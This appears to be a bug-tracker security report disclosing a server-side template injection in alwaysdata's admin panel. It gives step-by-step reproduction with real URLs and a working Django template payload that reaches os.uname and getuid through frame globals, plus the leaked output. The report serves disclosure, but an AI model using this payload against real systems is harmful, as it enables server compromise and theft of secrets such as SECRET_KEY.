All Projects

ID Status Summary Opened by
555AssignedSSTI Leads to RCESiddharthsharma9449 Task Description

Summary

The “Name” field of an Application Script is rendered as an unescaped Django template. Setting the name to a template expression (e.g. os.uname) causes it to execute server-side when loading /site/add/?application=<id>, leaking server info (hostname, UID, SECRET_KEY). Potential RCE.

Steps to Reproduce


1. Log in at https://admin.alwaysdata.com/login/ 
2. Go to https://admin.alwaysdata.com/site/application/script/add/ (Web → Sites → Application scripts → Add an application script).

┌─────────────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│        Field        │                                                            Value                                                            │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Name                │ RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}} │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ URL                 │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author name         │ test                                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author URI          │ https://example.com/                                                                                                        │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script upstream URI │ leave empty                                                                                                                 │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Public application  │ leave unticked                                                                                                              │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script              │ the block below                                                                                                             │
└─────────────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

#!/bin/bash
# site:
#     type: php
# form:
#     testfield:
#         label: test
#         required: false
exit 0

The form: section is required — without it no fieldset renders and you see nothing.

3. Submit. You land back on /site/application/script/. The new row links to /site/application/script/<id>/ — note that id (e.g. 629).

4. Open https://admin.alwaysdata.com/site/add/?application=<id> — just load it, submit nothing.

5. Look at the grey "well" fieldset heading. It reads:

RCE-overlord-core-33

Impact

Attacker can execute arbitrary commands on the server, read sensitive data including Django SECRET_KEY, environment variables, and internal file paths — leading to full server compromise.

Showing tasks 1 - 1 of 1 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing